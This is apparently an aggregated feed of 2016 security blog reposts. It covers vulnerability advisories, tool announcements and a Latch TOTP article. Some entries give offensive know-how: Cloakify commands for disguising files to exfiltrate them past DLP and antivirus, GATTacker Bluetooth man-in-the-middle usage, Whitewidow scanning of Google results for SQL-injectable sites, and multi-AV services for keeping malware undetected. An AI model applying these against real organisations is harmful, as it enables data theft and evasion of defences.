La librería LibTIFF usada para leer y escribir imágenes en formato tiff se distribuye gratuitamente y permite su uso en Windows y plataformas UNIX (incluyendo Linux y MacOS X). Múltiples programas tanto de escritorio como en servidores web hacen uso de ella para permitir el tratamiento de este tipo de imágenes, de ahí el riesgo que generan estas vulnerabilidades.

El primer problema, con CVE-2016-8331, se produce durante el uso de imágenes TIFF mediante la API LibTIFF. La vulnerabilidad reside en un desbordamiento de búfer en el tratamiento del campo "BadFaxLines" de una imagen TIFF específicamente creada. Un atacante podría lograr la ejecución de código arbitrario mediante una imagen Tiff especialmente manipulada. Esta vulnerabilidad aun no ha sido corregida.

Por otra parte, con CVE-2016-5875, una vulnerabilidad en la manipulación de imágenes TIFF comprimidas por la API PixarLogDecode de LibTIFF. El uso de un búfer pequeño en la función "ínflate" de la librería Zlib provoca un desbordamiento de búfer que podría permitir la ejecución remota de código. Por último, CVE-2016-5652 reside en la herramienta Tiff2PDF incluida con LibTIFF, cuando un archivo TIFF usa compresión JPEG.

Hasta el momento no se ha publicado ninguna versión oficial de LibTIFF que solucione estos problemas. Se ha publicado parches en forma de código para CVE-2016-5652 y CVE-2016-5875 disponibles desde el repositorio GIT en:

Más información:

Vulnerability Spotlight: LibTIFF Issues Lead To Code Execution




Antonio Ropero

Twitter: @aropero

Via:unaaldia.hispasec.com

Latch Cloud TOTP versus Google Authenticator

$
0
0
Cuando hablamos de un Segundo Factor de Autenticación, los tokens TOTP (Time One-Time Password) son unos de los más populares. Servicios tan populares como Google, Microsoft, Dropbox o Facebook tienen la posibilidad de configurar una protección extra de la cuenta añadiendo una verificación del código TOTP que el usuario tiene configurado. Hoy os quiero hablar de Latch Cloud TOTP que es otra de las novedades de las que hablamos en el pasado Security Innovation Day 2016 y de cuáles son los detalles y el pensamiento que nos ha llevado a crearlo. Que nadie piense que esto es un "combate" ni nada parecido a ver qué solución es mejor, sino solo una explicación de cuáles son los detalles que de Google Authenticator que nos hicieron crear Latch Cloud TOTP.

Figura 1: Latch Cloud TOPT vs. Google Authenticator

La idea del TOTP es tan sencilla como que un algoritmo, con la misma semilla de parametrización, genera en el lado del servidor y en el lado del cliente un código dependiente del tiempo. Es decir, en el lado del servidor y en el lado del cliente, cada cierto tiempo, se genera el mismo número - el mismo token -. Cuando un usuario va a realizar un proceso de login, primero debe proveer correctamente el usuario y la contraseña, y después de que se verifique que esta es correcta, se debe proporcionar el valor TOTP correcto.

Figura 2: Demo de Latch Cloud TOTP en Dropbox con Latch para iPhone y Lath para Apple Watch

La herramienta más popular para gestionar los tokensTOTP es Google Authenticator, y es válida para usar en servicios como Google, Microsoft, Dropbox o Facebook. Basta con configurar esta protección en tu cuenta y utilizar Google Authenticator para capturar el código QR que transmite la semilla al algoritmo TOPT que generará el código TOTP constantemente.

TOTP en Google Authenticator

Durante mucho tiempo hemos estado jugando con los códigos TOTP de Google Authenticator, y hemos estado haciendo muchas pruebas que paso a contaros, porque creo que son relevantes para entender por qué decidimos hacer un Cloud TOTP en Latch.
1) No garantiza un único dispositivo:Cuando estás configurando un código TOTP en el cliente de Google Authenticator u otro similar, realmente al servidor no se le avisa de en cuantas apps se ha capturado la semilla. Es decir, podrías generar en la misma app de Google Authenticator 4 entradas con la misma semilla y al mismo tiempo copiar en cuatro dispositivos con Google Authenticator la misma semilla, y al mismo tiempo en otras apps. 
2) La semilla se podía robar del backup: Antiguamente, cuando se hacía un backup del sistema operativo, de este se podían sacar los ficheros de las semillas y conseguir regenerar el algoritmo correcto para tener los TOTP en cualquier otro dispositivo. Esto tenía un lado positivo y un lado negativo. 
El lado positivo es que podrías migrar de tu iPhone 6 a tu iPhone 6S todo un backup, y las entradas de Google Authenticator seguían intactas, lo que era una ventaja si se te había perdido el terminal o te lo habían robado, por lo que si tenías el backup podrías recuperar tu Google Authenticator con todas las entradas. 
Figura 3: Robar semillas TOTP de bakup de iOS
El lado negativo es que alguien podría extraer del backup tus ficheros de Google Authenticator y recrear en una app controlada por él tus valores y tener los TOTPs de todas tus cuentas. Además, para que este ataque fuera un poco más sencillo, se unen dos debilidades que pueden aprovecharse que os describo en los puntos 3 y 4.
3) En Google Authenticator se indica el usuario: En cualquiera de las entradas de los TOTP se puede leer con claridad la cuenta de correo a la que está asociada esa entrada TOTP, lo que pone bastante fácil saber a quién hay que robarle la contraseña. De hecho, lo más fácil era hacerse con el backup de Google Authenticator, ver cuáles eran las semillas de los algoritmos TOTP que se habían robado, y hacerles un ataque de phishing a esos para robarles el último factor que hacía falta - la password -.
Figura 4: En cualquier Google Authenticator se ven los tokens TOTP y los usuarios
4) En Google no implementan correctamente las alertas TOTP: Como ya he dicho en otras ocasiones, si te roban la password en Google y entran en tu cuenta, saltaría la verificación del token TOTP, pero no queda ninguna alerta de seguridad en el log si no se intenta poner ningún token, por lo que al atacante no se le detecta a la primera. En el caso de Microsoft, esto se implementa mejor.
Figura 5: En el log de Google no queda que se ha puesto correctamente la password
y no se ha introducido ningún token TOTP durante la verificación en dos pasos.
5) Ahora no migra de un terminal a otro: Para fortificar las semillas, en Google Authenticator ahora, estas se cifran en el keychain con una clave del dispositivo, por lo que es posible recuperar las semillas si y solo si es en el mismo dispositivo. Esto es un problema serio si has perdido el terminal, porque entonces solo te salvarán las Recovery Keys que se obtienen cuando se configura la protección TOTP o si tienes también puesto el número de teléfono, por el SMS (lo que vuelve a convertir el SMS en el primer factor de autenticación). Dependiendo del servicio, se podrían utilizar otros mecanismos como en el caso de Google que se permiten las llaves, los click-OK o los códigos impresos, pero no es lo habitual para todos los servicios protegidos con servicios TOTP, ni además son muy populares en su uso.
6) No protección local de Google Authenticator: En Google Authenticator, si alguien tiene acceso al terminal y abre la app, puede ver los valores de los tokens y a qué cuentas pertenecen porque no hay forma de ponerle una password a nivel de aplicación, tal y como se ve en la Figura 4.
Cloud TOTP en Latch

Sabiendo cómo funciona bien Google Authenticator, decidimos hacer una implementación que funcionara de manera distinta usando Latch a la que hemos llamado Cloud TOTP, que tiene las siguientes características:
1) Asociada a tu cuenta Latch: Cuando se pone un token TOPT en Google Authenticator, este se almacena en uno o varios dispositivos y - ahora - no puede salir de ahí, pero al servidor no se le garantiza ni que se haya puesto en un terminal concreto ni que se haya puesto solo en uno. En este caso, cambiamos el paradigma y lo ponemos en una cuenta de Latch que puede ser abierta en cualquier dispositivo móvil siempre que tengas tu cuenta de Latch (no asociada a tu cuenta protegida con el token TOTP)
2) Sin identificar nombre de cuenta asociada: Aunque en la primera versión utilizamos el mismo funcionamiento de Google Authenticator y mostrabamos la cuenta de usuario, hemos decidido que se pueda renombrar durante el proceso de configuración y después, para que en lugar de poner micuenta@google.com pueda poner algo genérico como "Mi cuenta de Google" o "Mi cuenta de Dropbox", con lo que se disasocia en Latch Cloud TOTP el valor del token del valor de la cuenta y del valor de la contraseña.
Figura 6: El token no se muestra hasta que no se solicita. Queda en el log

3) Con log de acceso al código:
Hemos decidido que en Latch Cloud TOTP, el valor del token no se muestre nada más que durante un instante. Para eso el token TOTP de cualquier semilla estará oculto y se deberá solicitar su muestra. Esto implica que se generará una entrada en el log de Latch que el usuario podrá consultar en el futuro para saber si desde esa app, en un momento concreto, se mostró o no se mostró el código TOTP. No evita las malas implementaciones del servidor, pero sí que permite guardar información que podría ser útil en un posible análisis de logs cruzado con los datos del servidor.
4) Protección de acceso local a Latch: Además de que el código TOPT de una cuenta no se muestra por defecto y debe solicitarse manualemente, dejando un rastro en el log, la app de Latch tiene dos protecciones: Una primera la autenticación contra el servidor, y una segunda la autenticación a nivel de app (integrada con Touch ID en iPhone e iOS). Esto hace que, aunque se tenga el terminal desbloqueado en un descuido, no se pueda acceder a ella sin poner la password o pasar una autenticación biométrica vía Touch ID.
Figura 7: La app de Latch se protege en local con autenticación y por Touch ID en iOS

Con esta aproximación de Latch Cloud TOTP lo que hemos buscado es cubrir un hueco en el uso de tokens TOTP. Dotamos al sistema de una mayor flexibilidad al permitir que los tokens se puedan recuperar desde cualquier dispositivo, y añadimos mayores opciones de seguridad en aspectos como el acceso local vía descuido, la asociación de token TOTP a nombre de cuenta o el control de los tokens TOTP que se entregan, ya que no es un proceso continuo sino discreto bajo demanda que deja rastro en el log.

Figura 8: Cloud TOTP y Latches en la misma app de seguridad

Ahora está disponible en la nueva versión de Latch para Android, y en breve estará disponible en la nueva versión de Latch para iOS. Poco a poco os iré contando por aquí como sacarle provecho a todas las características de este Cloud TOTP en diferentes servicios y entornos. Y lo mejor es que puedes tener en una sola app tanto tus tokensTOTP como tus cuentas protegidas por Latch.

Saludos Malignos!

Via:www.elladodelmal.com

Lynis 2.4.0 - Security Auditing Tool for Unix/Linux Systems

$
0
0

We are excited to announce this major release of auditing tool Lynis. Several big changes have been made to core functions of Lynis. These changes are the next of simplification improvements we made. There is a risk of breaking your existing configuration.

Lynis is an open source security auditing tool. Used by system administrators, security professionals, and auditors, to evaluate the security defenses of their Linux and UNIX-based systems. It runs on the host itself, so it performs more extensive security scans than vulnerability scanners.

Supported operating systems

The tool has almost no dependencies, therefore it runs on almost all Unix based systems and versions, including:
  • AIX
  • FreeBSD
  • HP-UX
  • Linux
  • Mac OS
  • NetBSD
  • OpenBSD
  • Solaris
  • and others
It even runs on systems like the Raspberry Pi and several storage devices!

Installation optional

Lynis is light-weight and easy to use. Installation is optional: just copy it to a system, and use "./lynis audit system" to start the security scan. It is written in shell script and released as open source software (GPL). 

How it works

Lynis performs hundreds of individual tests, to determine the security state of the system. The security scan itself consists of performing a set of steps, from initialization the program, up to the report.

Steps
  1. Determine operating system
  2. Search for available tools and utilities
  3. Check for Lynis update
  4. Run tests from enabled plugins
  5. Run security tests per category
  6. Report status of security scan
Besides the data displayed on screen, all technical details about the scan are stored in a log file. Any findings (warnings, suggestions, data collection) are stored in a report file.

Opportunistic scanning

Lynis scanning is opportunistic: it uses what it can find.
For example if it sees you are running Apache, it will perform an initial round of Apache related tests. When during the Apache scan it also discovers a SSL/TLS configuration, it will perform additional auditing steps on that. While doing that, it then will collect discovered certificates, so they can be scanned later as well.

In-depth security scans

By performing opportunistic scanning, the tool can run with almost no dependencies. The more it finds, the deeper the audit will be. In other words, Lynis will always perform scans which are customized to your system. No audit will be the same!

Use cases

Since Lynis is flexible, it is used for several different purposes. Typical use cases for Lynis include:
  • Security auditing
  • Compliance testing (e.g. PCI, HIPAA, SOx)
  • Vulnerability detection and scanning
  • System hardening

Resources used for testing

Many other tools use the same data files for performing tests. Since Lynis is not limited to a few common Linux distributions, it uses tests from standards and many custom ones not found in any other tool.
  • Best practices
  • CIS
  • NIST
  • NSA
  • OpenSCAP data
  • Vendor guides and recommendations (e.g. Debian Gentoo, Red Hat)

Lynis Plugins

lugins enable the tool to perform additional tests. They can be seen as an extension (or add-on) to Lynis, enhancing its functionality. One example is the compliance checking plugin, which performs specific tests only applicable to some standard.


Changelog
Upgrade note
Lynis 2.4.0 (2016-10-27)

Exactly one month after previous release, the Lynis project is proud to announce
a new release. This release had the specific focus to improve support for macOS
users. Thanks to testers and contributors to make this possible.

New:
----
* New group "system integrity" added
* Support for clamconf utility
* Chinese translation (language=cn)
* New command "upload-only" to upload just the data instead of a full audit
* Enhanced support for macOS, including HostID2 generation for macOS
* Support for CoreOS
* Detection for pkg binary (FreeBSD)
* New command: lynis show hostids (show host ID)
* New command: lynis show environment (hardware, VM, or container type)
* New command: lynis show os (show operating system details)

Changes:
--------
* Several new sysctl values have been added to the default profile
* Existing tests have been enhanced to support macOS

Tests:
------
* AUTH-9234 - Support for macOS user gathering
* BOOT-5139 - Support for machine roles in LILO test
* BOOT-5202 - Improve uptime detection for macOS and others
* FIRE-4518 - Improve pf detection and mark as root-only test
* FIRE-4530 - Don't show error on screen for missing IPFW sysctl key
* FIRE-4534 - Check Little Snitch on macOS
* INSE-8050 - Test for insecure services on macOS
* MACF-6208 - Allow non-privileged execution and filter permission issues
* MALW-3280 - Detection for Avast and Bitdefender daemon on macOS
* NETW-3004 - Support for macOS
* PKGS-7381 - Improve test for pkg audit on FreeBSD
* TIME-3104 - Chrony support extended

Plugins (community and commercial):
-----------------------------------
* PLGN-1430 - Gather installed software packages for macOS
* PLGN-4602 - Support for Clam definition check on macOS



Via:www.kitploit.com

Se acerca la tercera edición de Sec/Admin, la CON de Sevilla

$
0
0
El próximo 25 y 26 de noviembre tendrá lugar en la facultad de informática de la universidad de Sevilla la tercera edición de la conferencia SecAdmin, sin duda una cita ineludible para todo aquel que le guste el hacking y la seguridad informática.

Por sólo 30€ que es lo que cuesta la entrada general tendrás acceso a todas las charlas (desayuno incluido) y a uno de los talleres, con 4 horas de formación incluidas.  También sortearán libros de 0XWord, camisetas y habrá muchas otras sorpresas.

Además este año habrá muchas e interesantes novedades:

- CTF #secadmin2016 con el apoyo de Incibe. El ganador se llevará la katana de esta tercera edición.

- Artillería: una sección de 'arsenal' en el que los asistentes tendrán la oportunidad de presentar a la comunidad sus últimas herramientas, con la posibilidad de que la ganadora será promocionada por Toolswatch


- Zona Fsociety: una zona lúdica con máquinas recreaticas para poder echarse una que otra partida en los descansos

- Arte digital:  todo lo relacionado con drones, robótica, arduino, raspberry, gadgets, etc. Al igual que se exponen en galerías obras de arte como pinturas y esculturas ¿por que no exponer el arte digital? Una buena ocasión de exponer estos productos.

- Keynotes: para expresarse libremente, exponer investigaciones, contar inquietudes, dudas, etc.

- Hacking Solidario: unas charlas de concienciación en seguridad TIC a familias, donde se recogerán alimentos/juguetes para los más necesitados.

- Zona Recruiter: para la recogida de CVs en mano y tener la posibilidad de desarrollar tu carrera profesional en unas de las consultoras de seguridad más punteras del momento.

- Black Sec/Admin: después del cierre del viernes en un establecimieto (todavía a confirmar) habrá una Sec/Admin más underground en la que no faltará la cerveza y la posibilidad de charlas improvisadas & Wargames al más puro estilo underground.

- After hour: Fiesta final, tras clausurar el evento los mejores hackers de España invadirán Sevilla. La diversión esta garantiza  en los locales de moda de la capital andaluza.

Agenda (7 Talleres & 18 Charlas)

Web oficial: https://www.secadmin.es/

Via:www.hackplayers.com

Obtención de información sensible en VMware Fusion y Tools para Mac OS X

$
0
0
VMware ha publicadouna actualización de seguridad para corregir vulnerabilidades en VMware Tools y Fusión en sistemas Mac OS X, que podrían permitir a un atacante conseguir información sensible.

VMware Fusion Pro y VMware Fusion permiten ejecutar Windows y otros muchos sistemas operativos en un Mac sin tener que reiniciar. Por otra parte, VMware Tools se instala como una aplicación más dentro de la máquina virtual e incluye un conjunto de controladores y utilidades y mejoran el rendimiento de las máquinas virtuales.

El problema, de gravedad moderada, podría permitir a un usuario local en un sistema con la protección de la integridad del sistema (System Integrity Protection, SIP) activa obtener direcciones de memoria del kernel para evitar la protección kASLR. La protección SIP está activa por defecto en las últimas versiones de Mac OS X.

Afecta a VMware Tools 9.x y 10.x para Mac OS X (CVE-2016-5328) y VMware Fusion 8.x para Mac OS X (CVE-2016-5329).

Ambos fallos fueron reportados a VMware por Marco Grassi (@marcograss)

VMware ha publicado versiones actualizadas para evitar los problemas disponibles desde:
VMware Fusion 8.5
VMware Tools 10.1.0

Más información:

VMSA-2016-0017
VMware product updates address multiple information disclosure issues




Antonio Ropero

Twitter: @aropero

Via:unaaldia.hispasec.com

GATTacker - BLE (Bluetooth Low Energy) Man-in-the-Middle

$
0
0


A Node.js package for BLE (Bluetooth Low Energy) security assessment using Man-in-the-Middle and other attacks.

Prerequisites
see:
https://github.com/sandeepmistry/noble
https://github.com/sandeepmistry/bleno

Install
npm install gattacker

Usage

Configure
Running both components Set up variables in config.env:
  • NOBLE_HCI_DEVICE_ID : noble ("central", ws-slave) device
  • BLENO_HCI_DEVICE_ID : bleno ("peripheral", advertise) device
If you run "central" and "peripheral" modules on separate boxes with just one BT4 interface, you can leave the values commented.
  • WS_SLAVE : IP address of ws-slave box
  • DEVICES_PATH : path to store json files

Start "central" device
sudo node ws-slave
Connects to targeted peripheral and acts as websocket server.
Debug:
DEBUG=ws-slave sudo node ws-slave

Scanning

Scan for advertisements
node scan
Without parameters scans for broadcasted advertisements, and records them as json files (.adv.json) in DEVICES_PATH

Explore services and characteristics
node scan <peripheral>
Explore services and characteristics of chosen peripheral. Saves the explored service structure in json file (.srv.json) in DEVICES_PATH.

Hook configuration (option)
For active request/response tampering configure hook functions for characteristic in device's json services file.
Example:
            {
"uuid": "06d1e5e779ad4a718faa373789f7d93c",
"name": null,
"properties": [
"write",
"notify"
],
"startHandle": 8,
"valueHandle": 9,
"endHandle": 10,
"descriptors": [
{
"handle": 10,
"uuid": "2902",
"value": ""
}
],
"hooks": {
"dynamicWrite": "dynamicWriteFunction",
"dynamicNotify": "customLog"
}
}
Functions:
dynamic: connect to original device
static: do not connect to original device, run the tampering function locally
It will try to invoke the specified function from hookFunctions, include your own. A few examples provided in hookFunctions subdir.
staticValue - static value

Start "peripheral" device
node advertise -a <advertisement_json_file> [ -s <services_json_file> ]
It connects via websocket to ws-slave in order to forward requests to original device. Static run (-s) sets services locally, does not connect to ws-slave. You have to configure the hooks properly.

MAC address cloning
For many applications it is necessary to clone MAC address of original device. A helper tool bdaddr from Bluez is provided in helpers/bdaddr.
cd helpers/bdaddr
make
wrapper script:
./mac_adv -a <advertisement_json_file> [ -s <services_json_file> ]

Troubleshooting
Turn off, cross fingers, try again ;)

reset device
hciconfig <hci_interface> reset

Running ws-slave and advertise on the same box
With this configuration you may experience various problems.
Try switching NOBLE_HCI_INTERFACE and BLENO_HCI_INTERFACE

hcidump debug
hcidump -x -t <hci_interface>

FAQ, more information
FAQ: https://github.com/securing/gattacker/wiki/FAQ
More information: www.gattack.io



Via:www.kitploit.com

Elevación de privilegios sin corregir en Microsoft Windows

$
0
0
Google ha publicadoa través de su blog de seguridad una vulnerabilidad grave sin resolver que afecta a Microsoft Windows. Este fallo de seguridad estaría siendo explotado masivamente.

En Halloween Google ha dado un buen susto a Microsoft, haciendo pública una vulnerabilidad no resuelta que afectaría a Microsoft Windows y podría permitir a una elevación de privilegios en el sistema y usarlos para eludir la 'sandbox' de seguridad. El error podría activarse a través de una llamada a la función del sistema 'NtSetWindowLongPtr' para el índice 'GWLP_ID' en un manejador de ventanas con 'GWL_STYLE' establecido a 'WS_CHILD'.

Los de Mountain View, después de alertar sobre esta vulnerabilidad de manera privada a Microsoft el pasado 21 de Octubre, han decidido hacerla públicaa pesar de no existir una solución por parte del fabricante. Además, aprovechan para confirmar que su navegador Chrome bloquea las llamadas al sistema win32k.sys mediante la mitigación de bloqueo de Win32k en Windows 10, lo que previene de la explotación de esta vulnerabilidad para eludir la 'sandbox'.

No es la primera vez que esto ocurre. En Enero de 2015, Google hizo públicasdos vulnerabilidades para Windows 8.1 antes de que Microsoft las hubiese solucionado. En esta ocasión la gravedad es aun mayor puesto que la vulnerabilidad está siendo explotada activamente.

Muchos expertos, y la propia Microsoft, opinan que hacer público este tipo de información supone aumentar el riesgo para los usuarios de dichos sistemas. Otros, como se presume en el caso de Google, consideran que supone una mayor amenaza esperar al siguiente ciclo de actualizaciones para solucionar estos problemas graves que además están siendo aprovechados.

Cabe destacar que ese mismo día, desde Google se alertó de la vulnerabilidad con identificador CVE-2016-7855 que afectaba a Adobe Flash, y que existeun parche disponible desde el 26 de Octubre, apenas 5 días después del aviso.

¿Los usuarios de Windows tendrán que esperar hasta el segundo martes de Noviembre para que sus sistemas dejen de ser vulnerables? ¿O Microsoft liberará un parche fuera de ciclo para solventar este grave error de seguridad?

Más información:

Disclosing vulnerabilities to protect users

Elevación de privilegios en Windows 8.1

una-al-dia (26/10/2016) Actualización de Adobe Flash Player para evitar un 0-day





Juan José Ruiz



Via:unaaldia.hispasec.com

Listado de servicios de análisis multiAV online

$
0
0
Hoy en nuestro grupo de Telegram nos pedían un post acerca del nuevo servicio de análisis multi-av online de StopVir.us auspiciado por la magnífica comunidad de Indetectables.net; y la verdad, no tenemos demasiada información, sólo que es un servicio gratuito y totalmente anónimo que permite escanear un fichero o URL con unos 35 antivirus que se actualizan cada hora:


Siendo francos, para mantener nuestro crypter o malware FuD (completamente indetectable) lo más seguro sería analizarlo de forma local con la total certeza de que nuestra muestra no sale de nuestro entorno, pero ciertamente escasean herramientas de análisis local como KIMS,  el wrapper en Python/JSON de Joxean o la que vimos recientemente Malice basada en contenedores docker. Así que muchas veces por rapidez y eficacia no queda otra que confiar en servicios online como el de StopVir.
 
Por ello, hemos querido además recopilar una lista de servicios online de análisis multi-antivirus dividiéndolos fundamentalmente en dos categorías: los que distribuyen las muestras analizadas y los que no. Como veréis, no es una lista demasiado extensa pero es que tampoco proliferan demasiado y lo que aparecen por una razón u otra no perduran demasiado, así que si conocéis otros por favor, no dudéis en comentarnos:

Distribuyen muestras
NO distribuyen muestras (o eso dicen)

Via:www.hackplayers.com

Cloakify: Exfiltrar datos usando Pokemons, Emojis o StarTrek

$
0
0
En alguna ocasión hemos hablado de la prueba de Data Exfiltration que en un proceso de Ethical Hacking se debe realizar en algunas ocasiones. La tarea siempre es divertida, ya que te pones en el lugar un empleado o persona con acceso a la información privada e intentas crear un camino para saltarse los mecanismos de protección como pueden ser los sistemas de DLP (Data Loss Prevention), los servicios que usando Machine Learning analizan las actividades de usuario con las herramientas de Human Behavior Analytics o los mismos antimalware que vigilan el end-point.

Figura 1: Cloakify. "Exfiltrar datos usando Pokemos, Emojis o StarTrek"

Para muchos, es más divertido romper cristales que ponerlos, y en este caso se trata de romper cristales sin que nos vean. De todos modos, hoy en día, el atacante tendrá cierta parte de ventaja, ya que se disponen de muchos canales y formas de extraer información de una organización. Hoy hablaremos de Cloakify, una herramienta que todo pentester debe llevar en su mochila para este tipo de pruebas.

Figura 2: Cloakify en GitHub

La herramienta aporta una curiosa forma de cifrar y ocultar información para que analistas y sistemas de detección no lo vean como algo de interés. Además, cualquier puede generarse su payload, entendiendo payload como la forma para cifrar y descifrar. Una de las cosas curiosas de Cloakify es que te permite generar ficheros de texto con emojis, pokemons o ubicaciones de pokemons y códigos de StarTrek. Por supuesto, para poder sacar dicha información quizá debamos añadir alguna técnica como la encapsulación a través de DNS, utilizar un canal encubierto, como por ejemplo Gmail, o cualquier otro medio.

Punto de partida

Para el ejemplo de partida, queremos cifrar el fichero ideas de desarrollo.docx, para que pase desapercibido ante los ojos de otros usuarios. Para ello existen diversos ciphers, pero como dije antes, me llamó mucho la atención los emojis, los pokemons y StarTrek. En la imagen, se puede ver cómo se ha cifrado con los ciphers comentados anteriormente. El tamaño del fichero crece considerablemente, y deberá ir acompañado con un canal de filtrado de datos, como se comentó anteriormente.

Figura 3: Cifrado del fichero con emoji, Pokemon y StarTrek

Las posibilidades que Cloakify ofrece son bastantes, como se puede ver en la siguiente imagen. Además, se dispone de la posibilidad de crear nuestro propio cipher, incluso dotándolo de entropía. A continuación, mostramos los diferentes ciphers con los que se puede jugar.

Figura 4: Todos los ciphers disponibles en Cloakify

Podemos resumir que Cloakify es un conjunto de herramientas que proporcionan técnicas para evadir DLP/MLS, al analista, los controles de aplicaciones o la detección de AV. Todo está basado en cifrado utilizando listas. La herramienta puede convertir cualquier tipo de fichero, ejecutables, zip, imágenes, etcétera, en una lista de cadenas, difíciles de detectar o de imaginar qué son.

Cloakify: Acción!

Para llegar a cabo la transformación de los datos reales en una lista de strings, simplemente hay que ejecutar archivo, escrito en Python, cloakify.py. La sintaxis de ejecución es la siguiente:
cloakify.py [fichero a convertir] [cipher] > [fichero resultante]
Por ejemplo:
python cloakify.py ideas.docx ciphers/pokemonGo.ciph > pokemon.txt.
¿Cómo está funcionando Cloakify?

En primer lugar, codifica en Base64 el payload. Después, aplica el cipher para generar un listado de strings. Una vez, se extrae la información de dónde se requiera, utilizando el medio o vía que se quiera, se puede utilizar Decloakify para hacer el proceso inverso y obtener el fichero original.

Figura 5: fichero codificado como lista de pokemons

Como bien indican los desarrolladores de la herramienta, Cloakify no tiene un esquema seguro de cifrado, ya que es vulnerable a ataques de análisis de frecuencia (vease critografía y criptoanálisis al uso). Por esta razón, se recomienda utilizar noiseTools, es decir, herramientas que generen ruido, en este caso scripts que añadan entropía al proceso de cifrado. Para la generación de entropía Cloakify proporciona diferentes scripts:
• PrependID.py.

• PrependLatLonCoords.py.
• PrependTimestamps.py.
Cada uno añade información distinta y “pseudo-aleatoría” con el objetivo de mejorar la resistencia a los ataques para detectar y descifrar el mensaje. Para crear nuestro propio cipher debemos:
• Generar un listado de al menos 66 palabras únicas, pueden ser frases o símbolos.
• Generar el listado de forma aleatoria.
• Eliminar duplicados.
Figura 6: Listado de palabras para hacer un cipher

En la imagen superior vemos como creamos un fichero denominado Luca.ciph, con el que metemos nombres, frases, números, etcétera. Cuando utilizamos el cipher con Cloakify, obtenemos el fichero ideas.docx original en un listado de strings en un fichero de texto, con las palabras que hemos utilizado anteriormente para crear el cipher, tal y como se puede ver en la siguiente imagen.

Figura 7: Fichero cifrado con el cipher creado

Para generar la entropía utilizamos, en este caso, el scriptPrepentTimeStamps.py. Tal y como se puede ver en la imagen, se añade entropía de marcas de tiempo, aunque sean la misma palabra al final.

Figura 8: Generando entropia

Para volver a obtener el fichero original utilizamos Decloakify de la siguiente manera:
python decloakify [fichero cifrado] [cipher] > [nombre fichero descifrado]
El resultado es la obtención del mismo fichero que se cifró al principio. Lógicamente, el proceso de Decloakify, debería realizarse una vez se ha exfiltrado la información de la organización, en el modo auditoría o hacking ético.

Figura 9: Decodificación del fichero

Como se puede ver, esta herramienta tiene un uso sencillo y potente, y merece estar en la mochila de cara a un hacking ético. De todos modos, la suma de herramientas y técnicas será más eficiente, y podrá aportarnos un mayor valor en este tipo de pruebas, por lo que se recomienda la utilización de canales encubierto y ofuscación o cifrado mediante textos “sin valor” como emojis o nombres y ubicaciones de pokemons. Disfruta de tu exfiltración.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

Via:www.elladodelmal.com

Whitewidow 1.5.0 - SQL Vulnerability Scanner

$
0
0

Whitewidow is an open source automated SQL vulnerability scanner, that is capable of running through a file list, or can scrape Google for potential vulnerable websites. It allows automatic file formatting, random user agents, IP addresses, server information, multiple SQL injection syntax, and a fun environment. This program was created for learning purposes, and is intended to teach users what vulnerability looks like.
Although whitewidow is a completely open source project, and is completely free. Every once in awhile I need a beer. If you like this program, and like this idea, you can help me with my beer fund.

Screenshots


Usage
ruby whitewidow.rb -h
Will print the help page
ruby whitewidow.rb -c
Will displlay the credits, can also be run in conjunction with -f or -d
ruby whitewidow.rb -l
Will display the legal info, can also be run in conjunction with -f or -d
ruby whitewidow.rb -d
Will run whitewidow in default mode and scrape Google using the search queries in the lib directory
ruby whitewidow.rb -d --banner
Will scrape Google and hide the banner
ruby whitewidow.rb -d --proxy 127.0.0.1:80
Proxy configuration, must use the ":"
ruby whitewidow.rb -d --dry-run
Will do a dry run of the program, meaning it won't scan for vulnerabilities, will prompt if you want to run a scan or not
ruby whitewidow.rb -d --dry-run --batch
Will do a dry run and not prompt you for anything, won't run a scan
ruby whitewidow.rb -f <path/to/file>
Will run Whitewidow through a file, you will not need to provide whitewidow the full path to the file, just provide it the paths within the whitewidow directory itself. Also you will not need a beginning slash.

Example:
- whitewidow.rb -f tmp/sites.txt #<= CORRECT
- whitewidow.rb -f /home/users/me/whitewidow-1.0.6/tmp/sites.txt #<= INCORRECT
ruby whitewidow.rb --run-x 10
Will run 10 dry runs in batch mode and display no other information (legal, banner, etc..)
ruby whitewidow.rb -s URL
Will spider the URL and extract all the links from there, saving them to a file. Will then run the file through whitewidows file flag

Dependencies
gem 'mechanize'
gem 'nokogiri'
gem 'rest-client'

To install all gem dependencies, follow the following template:
cd whitewidow
bundle install

This should install all gems needed, and will allow you to run the program without trouble.



Via:www.kitploit.com

Denegación de servicio en BIND 9

$
0
0
ISC ha publicado un aviso en el que informa de una vulnerabilidad de denegación de servicio en servidores DNS BIND 9.

El servidor de nombres BIND es uno de los más usados en Internet. Creado en 1988, en la universidad de Berkeley, actualmente es desarrollado por el ISC (Internet System Consortium). BIND se encuentra disponible para una amplia gama de sistemas tanto Unix como Microsoft Windows.

El problema, con CVE-2016-8864, se debe a que un fallo en BIND en el tratamiento de respuestas que contengan un registro DNAME puede provocar un fallo de aserción en db.c o resolver.c. Afecta a versiones de BIND 9.0.x a 9.8.x, 9.9.0 a 9.9.9-P3, 9.9.3-S1 a 9.9.9-S5, 9.10.0 a 9.10.4-P3 y 9.11.0

Se recomienda actualizar a las versiones más recientes BIND 9.9.9-P4, 9.10.4-P4, 9.11.0-P1 o 9.9.9-S6, disponibles en:

Más información:

CVE-2016-8864: A problem handling responses containing a DNAME answer can lead to an assertion failure



Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com
Viewing all 1133 articles
Browse latest View live